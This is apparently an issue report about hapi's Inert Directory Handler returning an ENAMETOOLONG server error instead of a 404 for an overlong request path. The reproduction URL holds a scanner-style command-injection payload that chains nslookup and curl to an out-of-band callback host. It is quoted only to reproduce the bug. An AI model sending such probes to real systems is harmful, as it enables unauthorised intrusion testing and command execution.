Error: Failed to open file: ENAMETOOLONG

[elawad]

Support plan

• is this issue currently blocking your project? (yes/no): no
• is this issue affecting a production system? (yes/no): yes

Context

• node version: 20.12.0
• module version with issue: 7.1.0
• last module version without issue: n/a
• environment (e.g. node, browser, native): node
• used with (e.g. hapi application, another framework, standalone, ...): hapi
• any other relevant information: n/a

What are you trying to achieve or the steps to reproduce?

Using the Directory Handler feature, we noticed server errors from possible traversal attacks on a static public folder.
https://hapi.dev/tutorials/servingfiles/?lang=en_US#directoryhandler

To fix the issue, we had to remove the directory handler in favor of the File Handler options. Where then custom logic was added to check the request.params.
https://hapi.dev/tutorials/servingfiles/?lang=en_US#fileoptions

But I was wondering if this error can be gracefully handled by Inert while using the Directory Handler.

const Hapi = require('@hapi/hapi');
const Inert = require('@hapi/inert');

const server = Hapi.server({
  port: 3000,
  debug: { request: '*' },
});

(async () => {
  await server.register([Inert]);

  server.route({
    method: 'GET',
    path: '/{filename*}',
    handler: {
      directory: { path: 'public' },
    },
  });

  await server.start();
})();

Make a GET request to:
http://localhost:3000/{{;(nslookup%20-q=cname%20hitkeomrgybdx4a46a.bxss.me||curl%20hitkeomrgybdx4a46a.bxss.me)|(nslookup%20-q=cname%20hitkeomrgybdx4a46a.bxss.me||curl%20hitkeomrgybdx4a46a.bxss.me)&(nslookup%20-q=cname%20hitkeomrgybdx4a46a.bxss.me||curl%20hitkeomrgybdx4a46a.bxss.me)}}swagger-ui-bundle.js

What was the result you got?

Error: Failed to open file: ENAMETOOLONG: name too long

What result did you expect?

Possibly a 404, similar to how other invalid paths are handled.

[elawad]

Issue still occurs using node@20 and @hapi/inert@7.1.0. Update description to reflect changes.